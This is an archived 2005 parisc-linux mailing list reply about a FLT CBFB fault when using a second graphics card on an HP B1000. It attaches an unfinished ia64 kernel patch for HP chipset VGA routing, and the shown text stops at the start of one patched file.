Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn.helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FLT CBFB on B1000 when accessing second graphics
	card
Date: Wed, 30 Nov 2005 12:24:39 -0700
Lines: 1271
Approved: news@gmane.org
Message-ID: <200511301224.39435.bjorn.helgaas@hp.com>
References: <a4743ac50511300621i1f7ed34eq@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623941 16946 80.91.229.3 (22 Nov 2014 02:39:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:01 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Nov 2005 19:24:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 30 Nov 2005 20:24:57 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A0F7B7D660;
	Wed, 30 Nov 2005 12:24:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04796-04; Wed, 30 Nov 2005 12:24:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 83E537D650;
	Wed, 30 Nov 2005 12:24:49 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ACF717D64C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Nov 2005 12:24:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04680-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Nov 2005 12:24:45 -0700 (MST)
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by free.linux.hp.com (Postfix) with ESMTP id D184A7D626
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Nov 2005 12:24:44 -0700 (MST)
Original-Received: from smtp1.fc.hp.com (smtp.fc.hp.com [15.11.136.119])
	by atlrel9.hp.com (Postfix) with ESMTP id 512763473F;
	Wed, 30 Nov 2005 14:24:44 -0500 (EST)
Original-Received: from ldl.fc.hp.com (linux-bugs.fc.hp.com [15.11.146.30])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id 4DD3B38852; Wed, 30 Nov 2005 19:24:43 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id 0A9301341D9;
	Wed, 30 Nov 2005 12:24:43 -0700 (MST)
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 17111-08; Wed, 30 Nov 2005 12:24:41 -0700 (MST)
Original-Received: from eeyore.helgaas (lart.fc.hp.com [15.11.146.31])
	by ldl.fc.hp.com (Postfix) with ESMTP id 6091A1340F2;
	Wed, 30 Nov 2005 12:24:41 -0700 (MST)
User-Agent: KMail/1.8.2
In-Reply-To: <a4743ac50511300621i1f7ed34eq@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at ldl.fc.hp.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 25n/Y9RyeSEkSL6WZHQhaXN1IGRvb0Cv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23215

On Wednesday 30 November 2005 7:21 am, Thomas Klinger wrote:
> I'm trying to setup Debian 3.1r0a (sarge) on a B1000 with two graphics
> card. The first one is the original A4977A Visualize EG rev. 03, as
> more powerful display card for the graphical desktop we installed a
> Matrox Millenium II with 2MB RAM. ...
> 
> What comes now is that if we try to start the X server using the
> second card the system switches the card and immediatly fails with the
> error code FLT CBFB (shown in the front LCD display).

I don't follow parisc development enough to know whether this
scenario is supposed to work.  Based on what I do know about
HP chipsets and the ia64 kernel, I expect this to fail for the
following reason:

In general, X is not smart enough to completely initialize video
cards, because the necessary documentation is usually not public.
So the usual strategy is to execute the option ROM on the card.
For the primary card, system firmware usually runs the ROM (or is
smart enough to initialize the card directly) before booting the
OS.

But secondary cards are usually not initialized by system firmware,
so X has to run the option ROM before it can use the card.  The
code in the option ROM assumes there is only one video card in the
system, and that it has MMIO from 0xA0000-0xBFFFF and IO ports from
0x3B0-0x3DF.

When you have two video cards in the system, HP chipsets route those
ranges to one card or the other, not both.  So my guess is that X
is either trying to use the second card uninitialized, or it is
trying to emulate the option ROM on the second card, and the MMIO
or IO port accesses done by the option ROM code are being routed to
the primary card.

Bad things will happen in either case.

I have code for ia64 that makes this work, and it should be fairly
easy to port to parisc.  It works by reprogramming the chipset to
route the VGA MMIO and IO port resource to the appropriate card.
There are a few related X server changes, too.

This is a bit of a work-in-progress, but I'll attach the current
ia64 kernel patch so you can get an idea of what I'm doing.

Bjorn




[PATCH] ia64: support HP chipset VGA routing

Called via pci_mmap_legacy_mem() and pci_{read,write}_legacy_io().

I'm working on support for multiple VGA devices.  Sysfs-pci exports
access to the legacy I/O port and MMIO resources required.  And HP
chipsets have programmable routing for those resources (actually just
the VGA-specific 0xA0000-0xBFFFF MMIO and 0x3B0-0x3DF I/O port
ranges).

But since the chipset only routes to one VGA device at a time, we need
some arbitration to coordinate user accesses and the chipset routing.
The attached file is a start, but I'm a complete VM neophyte, so I'd
appreciate any guidance.

There are no struct pages for the VGA MMIO region, so I couldn't use a
nopage() vm_op directly.  I used populate() instead, which seems a bit
hacky.  It sounds like a nopfn() or similar is coming, and I might be
able to use that.

===== arch/ia64/hp/common/Makefile 1.8 vs edited =====
Index: work4/arch/ia64/hp/common/Makefile
===================================================================
--- work4.orig/arch/ia64/hp/common/Makefile	2005-10-17 15:45:16.000000000 -0600
+++ work4/arch/ia64/hp/common/Makefile	2005-10-17 16:04:38.000000000 -0600
@@ -1,10 +1,7 @@
-#
-# ia64/platform/hp/common/Makefile
-#
-# Copyright (C) 2002 Hewlett Packard
+# (c) Copyright 2002, 2005 Hewlett-Packard Development Company, L.P.
 # Copyright (C) Alex Williamson (alex_williamson@hp.com)
-#
+# 	Bjorn Helgaas <bjorn.helgaas@hp.com>
 
-obj-y := sba_iommu.o
+obj-y := cc.o sba.o lba.o sba_iommu.o vga.o
 obj-$(CONFIG_IA64_HP_ZX1_SWIOTLB) += hwsw_iommu.o
 obj-$(CONFIG_IA64_GENERIC) += hwsw_iommu.o
Index: work4/arch/ia64/hp/common/sba_iommu.c
===================================================================
--- work4.orig/arch/ia64/hp/common/sba_iommu.c	2005-10-17 15:45:16.000000000 -0600
+++ work4/arch/ia64/hp/common/sba_iommu.c	2005-10-17 16:04:38.000000000 -0600
@@ -44,6 +44,8 @@
 
 #include <asm/acpi-ext.h>
 
+#include "cec.h"
+
 #define PFX "IOC: "
 
 /*
@@ -164,8 +166,6 @@
 #define SX1000_IOC_ID	((PCI_DEVICE_ID_HP_SX1000_IOC << 16) | PCI_VENDOR_ID_HP)
 #define SX2000_IOC_ID	((PCI_DEVICE_ID_HP_SX2000_IOC << 16) | PCI_VENDOR_ID_HP)
 
-#define ZX1_IOC_OFFSET	0x1000	/* ACPI reports SBA, we want IOC */
-
 #define IOC_FUNC_ID	0x000
 #define IOC_FCLASS	0x008	/* function class, bist, header, rev... */
 #define IOC_IBASE	0x300	/* IO TLB */
@@ -1733,7 +1733,7 @@
 };
 
 static struct ioc * __init
-ioc_init(u64 hpa, void *handle)
+ioc_init(void *handle, u64 hpa, u64 length)
 {
 	struct ioc *ioc;
 	struct ioc_iommu *info;
@@ -1970,56 +1970,38 @@
 #define sba_map_ioc_to_node(ioc, handle)
 #endif
 
+int __init
+ioc_add(acpi_handle handle, u64 hpa, u64 length, unsigned int page_shift)
+{
+	struct ioc *ioc;
+
+	if (!iovp_shift)
+		iovp_shift = page_shift;
+
+	ioc = ioc_init(handle, hpa, length);
+	if (!ioc)
+		return -ENODEV;
+
+	sba_map_ioc_to_node(ioc, handle);
+	return 0;
+}
+
 static int __init
 acpi_sba_ioc_add(struct acpi_device *device)
 {
-	struct ioc *ioc;
 	acpi_status status;
 	u64 hpa, length;
-	struct acpi_buffer buffer;
-	struct acpi_device_info *dev_info;
 
 	status = hp_acpi_csr_space(device->handle, &hpa, &length);
 	if (ACPI_FAILURE(status))
-		return 1;
+		return -ENODEV;
 
-	buffer.length = ACPI_ALLOCATE_LOCAL_BUFFER;
-	status = acpi_get_object_info(device->handle, &buffer);
-	if (ACPI_FAILURE(status))
-		return 1;
-	dev_info = buffer.pointer;
-
-	/*
-	 * For HWP0001, only SBA appears in ACPI namespace.  It encloses the PCI
-	 * root bridges, and its CSR space includes the IOC function.
-	 */
-	if (strncmp("HWP0001", dev_info->hardware_id.value, 7) == 0) {
-		hpa += ZX1_IOC_OFFSET;
-		/* zx1 based systems default to kernel page size iommu pages */
-		if (!iovp_shift)
-			iovp_shift = min(PAGE_SHIFT, 16);
-	}
-	ACPI_MEM_FREE(dev_info);
-
-	/*
-	 * default anything not caught above or specified on cmdline to 4k
-	 * iommu page size
-	 */
-	if (!iovp_shift)
-		iovp_shift = 12;
-
-	ioc = ioc_init(hpa, device->handle);
-	if (!ioc)
-		return 1;
-
-	/* setup NUMA node association */
-	sba_map_ioc_to_node(ioc, device->handle);
-	return 0;
+	return ioc_add(device->handle, hpa, length, 12);
 }
 
 static struct acpi_driver acpi_sba_ioc_driver = {
 	.name		= "IOC IOMMU Driver",
-	.ids		= "HWP0001,HWP0004",
+	.ids		= "HWP0004",
 	.ops		= {
 		.add	= acpi_sba_ioc_add,
 	},
Index: work4/arch/ia64/hp/common/vga.c
===================================================================
--- /dev/null	1970-01-01 00:00:00.000000000 +0000
+++ work4/arch/ia64/hp/common/vga.c	2005-10-19 13:23:01.000000000 -0600
@@ -0,0 +1,354 @@
+/*
+ * VGA routing
+ *
+ * (c) Copyright 2005 Hewlett-Packard Development Company, L.P.
+ *	Bjorn Helgaas <bjorn.helgaas@hp.com>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ */
+
+/*
+ * Some chipsets, including HP zx1, zx2, sx1000, and sx2000, route
+ * legacy VGA (MMIO accesses to 0xA0000-0xBFFFF and I/O port accesses
+ * to 0x3B0-0x3DF and their 10-bit aliases) to a single PCI root
+ * bridge.  This routing is programmable, so we can support several
+ * VGA devices in the same system.
+ *
+ * These legacy resources are exposed to the user via read/write of
+ * "legacy_io" (for I/O ports) and mmap of "legacy_mem" (for MMIO)
+ * in the /sys directory corresponding to the PCI root bridge.
+ *
+ * But, of course, only one of the VGA devices is accessible at a time,
+ * so this file does the locking and VM chicanery to keep multiple
+ * users separated.
+ */
+
+#include <linux/types.h>
+#include <linux/list.h>
+#include <linux/pci.h>
+#include <asm/tlbflush.h>
+#include "cec.h"
+
+
+#define VGA_MMIO_BASE		0xA0000UL
+#define VGA_MMIO_END		0xC0000UL
+#define VGA_IO_ALIAS_MASK	0x3FF
+#define VGA_IO_BASE		0x3B0
+#define VGA_IO_END		0x3E0
+
+/* FIXME can we avoid dynamic allocations by statically allocating
+ * a per-page struct here and using some rmap-style list to thread
+ * things together?
+ */
+struct vga_mapping {
+	struct list_head	list;
+	struct vm_area_struct	*vma;
+	struct pci_bus		*bus;
+};
+
+static DEFINE_SPINLOCK(vga_lock);
+static LIST_HEAD(vga_mappers);
+
+static struct pci_bus *vga_owner;
+
+static void
+change_vga_route(struct pci_bus *bus)
+{
+	struct hp_lba_data *lba = PCI_CONTROLLER(bus)->platform_data;
+
+	hp_lba_vga_enable(lba);
+	hp_sba_vga_enable(lba->sba, lba->rope);
+	hp_pin_vga_enable(lba->cell);
+
+	vga_owner = bus;
+}
+
+static pte_t *
+my_pte_alloc_map(struct mm_struct *mm, unsigned long address)
+{
+	pgd_t *pgd;
+	pud_t *pud;
+	pmd_t *pmd;
+
+	/* FIXME doesn't this leak on the failure paths? */
+
+	pgd = pgd_offset(mm, address);
+	if (!pgd)
+		return NULL;
+
+	pud = pud_alloc(mm, pgd, address);
+	if (!pud)
+		return NULL;
+
+	pmd = pmd_alloc(mm, pud, address);
+	if (!pmd)
+		return NULL;
+
+	return pte_alloc_map(mm, pmd, address);
+}
+
+static void
+pte_protect(struct vm_area_struct *vma, unsigned long addr,
+	unsigned long pgoff, pgprot_t prot)
+{
+	struct mm_struct *mm = vma->vm_mm;
+	pte_t *pte, entry;
+
+	pte = my_pte_alloc_map(mm, addr);
+	if (!pte) {
+		printk("%s: no PTE!\n", __FUNCTION__);
+		BUG();	/* FIXME */
+		return;
+	}
+
+	entry = pfn_pte(pgoff, prot);
+	ptep_establish(vma, addr, pte, entry);
+	pte_unmap(pte);
+}
+
+static inline pte_t *
+va_to_pte(struct mm_struct *mm, unsigned long address)
+{
+	pgd_t *pgd;
+	pud_t *pud;
+	pmd_t *pmd;
+
+	/* FIXME copied from page_check_address */
+	pgd = pgd_offset(mm, address);
+	if (likely(pgd_present(*pgd))) {
+		pud = pud_offset(pgd, address);
+		if (likely(pud_present(*pud))) {
+			pmd = pmd_offset(pud, address);
+			if (likely(pmd_present(*pmd)))
+				return pte_offset_map(pmd, address);
+		}
+	}
+	return 0;
+}
+
+static void
+vga_invalidate(struct vga_mapping *mapping)
+{
+	struct vm_area_struct *vma = mapping->vma;
+	struct mm_struct *mm = vma->vm_mm;
+	unsigned long pages, pgoff, end, address;
+	pte_t *pte, entry;
+
+	pages = (vma->vm_end - vma->vm_start) >> PAGE_SHIFT;
+	pgoff = max(vma->vm_pgoff, VGA_MMIO_BASE >> PAGE_SHIFT);
+	end = min(vma->vm_pgoff + pages, VGA_MMIO_END >> PAGE_SHIFT);
+	address = vma->vm_start + ((pgoff - vma->vm_pgoff) << PAGE_SHIFT);
+
+	/*
+	 * We never *add* mappings to a non-current mm, merely
+	 * invalidate any that exist.  This avoids races with
+	 * exit_mmap().
+	 */
+	spin_lock(&mm->page_table_lock);
+	while (pgoff < end) {
+		pte = va_to_pte(mm, address);
+		if (pte) {
+			entry = pgoff_to_pte(pgoff);
+			ptep_establish(vma, address, pte, entry);
+			pte_unmap(pte);
+		}
+		address += PAGE_SIZE;
+		pgoff++;
+	}
+	spin_unlock(&mm->page_table_lock);
+}
+
+static void
+vga_map(struct vga_mapping *mapping, pgprot_t prot)
+{
+	struct vm_area_struct *vma = mapping->vma;
+	struct mm_struct *mm = vma->vm_mm;
+	unsigned long pages, pgoff, end, addr;
+
+	pages = (vma->vm_end - vma->vm_start) >> PAGE_SHIFT;
+	pgoff = max(vma->vm_pgoff, VGA_MMIO_BASE >> PAGE_SHIFT);
+	end = min(vma->vm_pgoff + pages, VGA_MMIO_END >> PAGE_SHIFT);
+	addr = vma->vm_start + ((pgoff - vma->vm_pgoff) << PAGE_SHIFT);
+
+	spin_lock(&mm->page_table_lock);
+	while (pgoff < end) {
+		pte_protect(vma, addr, pgoff, prot);
+		addr += PAGE_SIZE;
+		pgoff++;
+	}
+	spin_unlock(&mm->page_table_lock);
+}
+
+static void
+vga_open(struct vm_area_struct *vma)
+{
+	struct pci_bus *bus = vma->vm_private_data;
+	struct vga_mapping *mapping;
+
+	mapping = kzalloc(sizeof(*mapping), GFP_KERNEL);
+	if (!mapping) {
+		BUG();		/* FIXME */
+		return;
+	}
+
+	mapping->vma = vma;
+	mapping->bus = bus;
+
+	spin_lock(&vga_lock);
+	vga_invalidate(mapping);
+	list_add(&mapping->list, &vga_mappers);
+	spin_unlock(&vga_lock);
+}
+
+static void
+vga_close(struct vm_area_struct *vma)
+{
+	struct vga_mapping *mapper;
+
+	spin_lock(&vga_lock);
+	list_for_each_entry(mapper, &vga_mappers, list) {
+		if (mapper->vma == vma) {
+			list_del(&mapper->list);
+			break;
+		}
+	}
+	spin_unlock(&vga_lock);
+	kfree(mapper);
+}
+
+static struct vga_mapping *
+change_vga_owner(struct pci_bus *bus, struct vm_area_struct *vma)
+{
+	struct vga_mapping *mapper, *new_owner = NULL;
+
+	list_for_each_entry(mapper, &vga_mappers, list) {
+		vga_invalidate(mapper);
+		if (mapper->vma == vma)
+			new_owner = mapper;
+	}
+	change_vga_route(bus);
+
+	return new_owner;
+}
+
+static struct page *
+vga_nopage(struct vm_area_struct *vma, unsigned long address, int *type)
+{
+	return NOPAGE_SIGBUS;
+}
+
+static int
+vga_populate(struct vm_area_struct *vma, unsigned long address,
+	unsigned long len, pgprot_t prot, unsigned long pgoff, int nonblock)
+{
+	struct pci_bus *bus = vma->vm_private_data;
+	struct vga_mapping *mapping;
+
+	spin_lock(&vga_lock);
+	mapping = change_vga_owner(bus, vma);
+	vga_map(mapping, prot);
+	spin_unlock(&vga_lock);
+	return 0;
+}
+
+static struct vm_operations_struct vga_vm_ops = {
+	.open		= vga_open,
+	.close		= vga_close,
+	.nopage		= vga_nopage,
+	.populate	= vga_populate,
+};
+
+int
+hp_pci_mmap_legacy_page_range(struct pci_bus *bus, struct vm_area_struct *vma)
+{
+	unsigned long size = vma->vm_end - vma->vm_start;
+
+	if ((vma->vm_pgoff << PAGE_SHIFT) + size > 1024*1024)
+		return -EINVAL;
+
+	vma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);
+	vma->vm_flags |= (VM_SHM | VM_RESERVED | VM_IO | VM_SHARED);
+	vma->vm_ops = &vga_vm_ops;
+	vma->vm_private_data = bus;
+
+	vga_open(vma);
+	return 0;
+}
+
+static inline int
+is_vga_port(u16 alias)
+{
+	u16 port = alias & VGA_IO_ALIAS_MASK;
+
+	if (port >= VGA_IO_BASE && port < VGA_IO_END)
+		return 1;
+	return 0;
+}
+
+int
+hp_pci_legacy_read(struct pci_bus *bus, u16 port, u32 *val, u8 size)
+{
+	int is_vga = is_vga_port(port);
+	int ret = size;
+
+	if (is_vga) {
+		spin_lock(&vga_lock);
+		if (vga_owner != bus)
+			change_vga_owner(bus, NULL);
+	}
+
+	switch (size) {
+	case 1:
+		*val = inb(port);
+		break;
+	case 2:
+		*val = inw(port);
+		break;
+	case 4:
+		*val = inl(port);
+		break;
+	default:
+		ret = -EINVAL;
+		break;
+	}
+
+	if (is_vga)
+		spin_unlock(&vga_lock);
+
+	return ret;
+}
+
+int
+hp_pci_legacy_write(struct pci_bus *bus, u16 port, u32 val, u8 size)
+{
+	int is_vga = is_vga_port(port);
+	int ret = size;
+
+	if (is_vga) {
+		spin_lock(&vga_lock);
+		if (vga_owner != bus)
+			change_vga_owner(bus, NULL);
+	}
+
+	switch (size) {
+	case 1:
+		outb(val, port);
+		break;
+	case 2:
+		outw(val, port);
+		break;
+	case 4:
+		outl(val, port);
+		break;
+	default:
+		ret = -EINVAL;
+		break;
+	}
+
+	if (is_vga)
+		spin_unlock(&vga_lock);
+
+	return ret;
+}
Index: work4/arch/ia64/hp/common/sba.c
===================================================================
--- /dev/null	1970-01-01 00:00:00.000000000 +0000
+++ work4/arch/ia64/hp/common/sba.c	2005-10-17 16:24:44.000000000 -0600
@@ -0,0 +1,312 @@
+/*
+ * HP System Bus Adapter (SBA) driver
+ *
+ * (c) Copyright 2005 Hewlett-Packard Development Company, L.P.
+ *	Bjorn Helgaas <bjorn.helgaas@hp.com>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ */
+
+#include <linux/types.h>
+#include <linux/acpi.h>
+#include <linux/pci.h>
+#include <asm/acpi-ext.h>
+#include <acpi/actypes.h>
+#include <acpi/acpi_drivers.h>
+#include "cec.h"
+
+
+#define HP_SBA_ZX_HID		"HWP0001"
+#define HP_SBA_SX_HID		"HWP0005"
+#define HP_SBA_DRIVER_NAME	"HP System Bus Adapter Driver"
+#define HP_SBA_DEVICE_NAME	"HP System Bus Adapter"
+
+#define ZX_IOC_OFFSET		0x1000	/* HWP0001 reports only SBA */
+#define ZX_IOC_FUNCTION_SIZE	0x1000
+
+#define SBA_ROPE_CONFIG_BASE	0x03a8
+#define SBA_ROPE_CONFIG_ENABLE	  0x0000000000000001UL
+#define SBA_VGA_ROUTE		0x03b0
+#define SBA_VGA_ROUTE_ENABLE	  0x8000000000000000UL
+#define SBA_VGA_ROUTE_MASK	  0x000000000000000fUL
+
+/* for sx1000 ps202 workaround only */
+#define SBA_DIR_BASE		0x0230
+#define SBA_DIR_BASE_ENABLE	  0x0000000000000001UL
+#define SBA_DIR_MASK		0x0238
+#define SBA_DIR_ROUTE		0x0240
+#define SBA_IOS_DIR_BASE	0x03c0
+#define SBA_IOS_DIR_BASE_ENABLE	  0x0000000000000001UL
+#define SBA_IOS_DIR_MASK	0x03c8
+#define SBA_IOS_DIR_ROUTE	0x03d0
+
+struct hp_sba_data {
+	struct hp_sba_data	*next;
+	acpi_handle		handle;
+	volatile void __iomem	*addr;
+	unsigned int		cell;
+	u64			rope_base;
+	char			name[32];
+};
+
+static struct hp_sba_data *sba_list;
+static struct hp_sba_data *vga_sba;
+static unsigned int vga_rope = -1;
+
+static void
+hp_sba_vga_disable(struct hp_sba_data *sba)
+{
+	u64 route;
+
+	if (ps202_workaround) {
+		writeq(0, sba->addr + SBA_DIR_BASE);
+		writeq(0, sba->addr + SBA_IOS_DIR_BASE);
+		readq(sba->addr + SBA_IOS_DIR_BASE);
+		return;
+	}
+
+	route = readq(sba->addr + SBA_VGA_ROUTE);
+	route &= ~SBA_VGA_ROUTE_ENABLE;
+	writeq(route, sba->addr + SBA_VGA_ROUTE);
+	readq(sba->addr + SBA_VGA_ROUTE);
+}
+
+void
+hp_sba_vga_enable(struct hp_sba_data *sba, unsigned int rope)
+{
+	u64 route;
+
+	if (sba == vga_sba && rope == vga_rope)
+		return;
+
+	if (sba != vga_sba)
+		hp_sba_vga_disable(vga_sba);
+
+	if (ps202_workaround) {
+		writeq(rope, sba->addr + SBA_DIR_ROUTE);
+		writeq(0xffffffffffffffffULL, sba->addr + SBA_DIR_MASK);
+		writeq(SBA_DIR_BASE_ENABLE, sba->addr + SBA_DIR_BASE);
+		readq(sba->addr + SBA_DIR_BASE);
+
+		writeq(rope, sba->addr + SBA_IOS_DIR_ROUTE);
+		writeq(0xfffffffffffff800ULL, sba->addr + SBA_IOS_DIR_MASK);
+		writeq(SBA_IOS_DIR_BASE_ENABLE, sba->addr + SBA_IOS_DIR_BASE);
+		readq(sba->addr + SBA_IOS_DIR_BASE);
+
+		vga_sba = sba;
+		vga_rope = rope;
+		return;
+	}
+
+	route = readq(sba->addr + SBA_VGA_ROUTE);
+	route &= ~SBA_VGA_ROUTE_MASK;
+	route |= (SBA_VGA_ROUTE_ENABLE | rope);
+	writeq(route, sba->addr + SBA_VGA_ROUTE);
+	readq(sba->addr + SBA_VGA_ROUTE);
+
+	vga_sba = sba;
+	vga_rope = rope;
+}
+
+struct hp_sba_data *
+hp_sba_find(acpi_handle handle)
+{
+	acpi_handle parent;
+	acpi_status status;
+	struct hp_sba_data *sba;
+
+	do {
+		for (sba = sba_list; sba; sba = sba->next) {
+			if (handle == sba->handle)
+				return sba;
+		}
+
+		status = acpi_get_parent(handle, &parent);
+		handle = parent;
+	} while (ACPI_SUCCESS(status));
+	return 0;
+}
+
+unsigned int
+hp_sba_cell(struct hp_sba_data *sba)
+{
+	return sba->cell;
+}
+
+unsigned int
+hp_sba_lba_to_rope(struct hp_sba_data *sba, u64 addr)
+{
+	return (addr - sba->rope_base) >> 13;
+}
+
+static int
+match_ids2(struct acpi_device_info *info, char *ids)
+{
+	struct acpi_compatible_id_list *cid_list = &info->compatibility_id;
+	int i;
+
+	if (strstr(ids, info->hardware_id.value))
+		return 0;
+
+	for (i = 0; i < cid_list->count; i++)
+		if (strstr(ids, cid_list->id[i].value))
+			return 0;
+
+	return -ENOENT;
+}
+
+static int
+acpi_handle_match_ids(acpi_handle handle, char *ids)
+{
+	acpi_status status;
+	struct acpi_buffer buffer = { ACPI_ALLOCATE_LOCAL_BUFFER, NULL};
+	int match;
+
+	status = acpi_get_object_info(handle, &buffer);
+	if (ACPI_FAILURE(status))
+		return -ENOENT;
+
+	match = match_ids2(buffer.pointer, ids);
+	ACPI_MEM_FREE(buffer.pointer);
+	return match;
+}
+
+static acpi_status
+find_ancestor(acpi_handle handle, char *ids, acpi_handle *ancestor)
+{
+	acpi_status status;
+	acpi_handle parent;
+
+	do {
+		if (acpi_handle_match_ids(handle, ids)) {
+			*ancestor = handle;
+			return AE_OK;
+		}
+
+		status = acpi_get_parent(handle, &parent);
+		if (ACPI_FAILURE(status))
+			return AE_ERROR;
+
+		handle = parent;
+	} while (ACPI_SUCCESS(status));
+	return AE_ERROR;
+}
+
+static int __init
+get_cell(acpi_handle handle)
+{
+	acpi_status status;
+	acpi_handle cell_handle;
+	unsigned long cell;
+
+	status = find_ancestor(handle, "ACPI004,HWP0008", &cell_handle);
+	if (ACPI_FAILURE(status))
+		return -ENODEV;
+
+	/*
+	 * Spec allows integer or string, but SPPA Firmware EAS requires
+	 * the _UID for cells to be the Cell ID.
+	 */
+	status = acpi_evaluate_integer(cell_handle, METHOD_NAME__UID,
+		NULL, &cell);
+	if (ACPI_FAILURE(status))
+		return -ENODEV;
+
+	return cell;
+}
+
+static int __init
+acpi_generic_sba_add(struct acpi_device *device, u64 *sba_hpa)
+{
+	acpi_status status;
+	u64 hpa, length;
+	struct hp_sba_data *sba;
+	int cell;
+
+	status = hp_acpi_csr_space(device->handle, &hpa, &length);
+	if (ACPI_FAILURE(status))
+		return -ENODEV;
+
+	cell = get_cell(device->handle);
+	if (cell < 0)
+		return -ENODEV;
+
+	sba = kzalloc(sizeof(*sba), GFP_KERNEL);
+	if (!sba)
+		return -ENOMEM;
+
+	strcpy(acpi_device_name(device), HP_SBA_DEVICE_NAME);
+
+	sba->next = sba_list;
+	sba_list = sba;
+
+	sba->handle = device->handle;
+	sba->addr = ioremap(hpa, length);
+	sba->cell = cell;
+	sba->rope_base = readq(sba->addr + SBA_ROPE_CONFIG_BASE) &
+		~SBA_ROPE_CONFIG_ENABLE;
+
+	snprintf(sba->name, sizeof(sba->name), "%s [%s]",
+		acpi_device_name(device), acpi_device_bid(device));
+	request_mem_region(hpa, length, sba->name);
+
+	printk(KERN_INFO "%s at MMIO 0x%lx\n", sba->name, hpa);
+
+	if (sba_hpa)
+		*sba_hpa = hpa;
+
+	return 0;
+}
+
+static int __init
+acpi_zx_sba_add(struct acpi_device *device)
+{
+	int err;
+	u64 sba_hpa;
+
+	err = acpi_generic_sba_add(device, &sba_hpa);
+	if (err)
+		return err;
+
+	/*
+	 * HWP0001 SBA devices contain an IOC that is not reported
+	 * separately.
+	 */
+	ioc_add(device->handle, sba_hpa + ZX_IOC_OFFSET, ZX_IOC_FUNCTION_SIZE,
+		min(PAGE_SHIFT, 16));
+
+	return 0;
+}
+
+static int __init
+acpi_sx_sba_add(struct acpi_device *device)
+{
+	return acpi_generic_sba_add(device, NULL);
+}
+
+static struct acpi_driver acpi_zx_sba_driver = {
+	.name		= HP_SBA_DRIVER_NAME,
+	.ids		= HP_SBA_ZX_HID,
+	.ops		= {
+		.add	= acpi_zx_sba_add,
+	},
+};
+
+static struct acpi_driver acpi_sx_sba_driver = {
+	.name		= HP_SBA_DRIVER_NAME,
+	.ids		= HP_SBA_SX_HID,
+	.ops		= {
+		.add	= acpi_sx_sba_add,
+	},
+};
+
+static int __init
+sba_init(void)
+{
+	acpi_bus_register_driver(&acpi_zx_sba_driver);
+	acpi_bus_register_driver(&acpi_sx_sba_driver);
+	return 0;
+}
+subsys_initcall(sba_init);
Index: work4/arch/ia64/hp/common/lba.c
===================================================================
--- /dev/null	1970-01-01 00:00:00.000000000 +0000
+++ work4/arch/ia64/hp/common/lba.c	2005-10-17 16:20:26.000000000 -0600
@@ -0,0 +1,182 @@
+/*
